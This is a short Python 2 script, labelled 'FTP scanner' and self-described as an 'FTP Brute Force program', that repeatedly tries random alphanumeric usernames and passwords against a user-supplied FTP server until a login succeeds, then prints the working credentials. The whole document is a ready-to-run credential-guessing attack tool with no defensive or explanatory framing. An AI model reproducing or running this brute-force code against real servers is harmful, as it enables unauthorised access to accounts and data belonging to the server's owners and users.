FTP scanner

import random, string, ftplib
from ftplib import FTP
def bruteforce(server, username, user_min_length, user_max_length, pass_min_length, pass_max_length):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    try:
        ftp_conn = FTP(server)
    except ftplib.all_errors:
        print 'connection to ' + server + ' failed!\n'
        input()
        exit()
    else:
        print 'successfully connected to ' + server + '\n'
        ftp_conn.close()
        del ftp_conn
        while 1:
            if username == '':
                count_chars = 1
                random_username = ''
                while count_chars <= random.randint(user_min_length, user_max_length):
                    random_username = random_username + chars[random.randint(0, len(chars) - 1)]
                    count_chars = count_chars + 1
                ftp_username = random_username
            else:
                ftp_username = username
            count_chars = 1
            random_password =''
            while count_chars <= random.randint(pass_min_length, pass_max_length):
                random_password = random_password + chars[random.randint(0, len(chars) - 1)]
                count_chars = count_chars + 1
            ftp_password = random_password
            try:
                ftp_conn = FTP(server)
            except ftplib.all_errors:
                print 'connection to server lost...\n'
                break
            print 'trying username ' + ftp_username + ' with password ' + ftp_password + '\n'
            try:
                ftp_conn.login(ftp_username, ftp_password)
            except ftplib.all_errors:
                pass
            else:
                print 'brute force succeeded!\nusername: ' + ftp_username + '\npassword: ' + ftp_password + '\nserver: ' + server + '\n'
                break
            ftp_conn.close()
            del ftp_conn
        ftp_conn.close()
print 'FTP Brute Force program\n\n'
print 'v0.1\n\n'
print 'By Yotam\n\n'
address = raw_input('enter the server address:\n')
username_opts = input('choose one of those options:\n1) I have the username, guess only the password.\n2) guess the username too.\n')
if username_opts == 1:
    username_ftp = raw_input('enter username:\n')
    u_min_l = 0
    u_max_l = 0
elif username_opts == 2:
    u_min_l = input('enter username min length:\n')
    u_max_l = input('enter username max length:\n')
    username_ftp = ''
else:
    print('error\n')
    input()
    exit()
p_min_l = input('enter password min length:\n')
p_max_l = input('enter password max length:\n')
bruteforce(address, username_ftp, u_min_l, u_max_l, p_min_l, p_max_l)
print '\n'
input()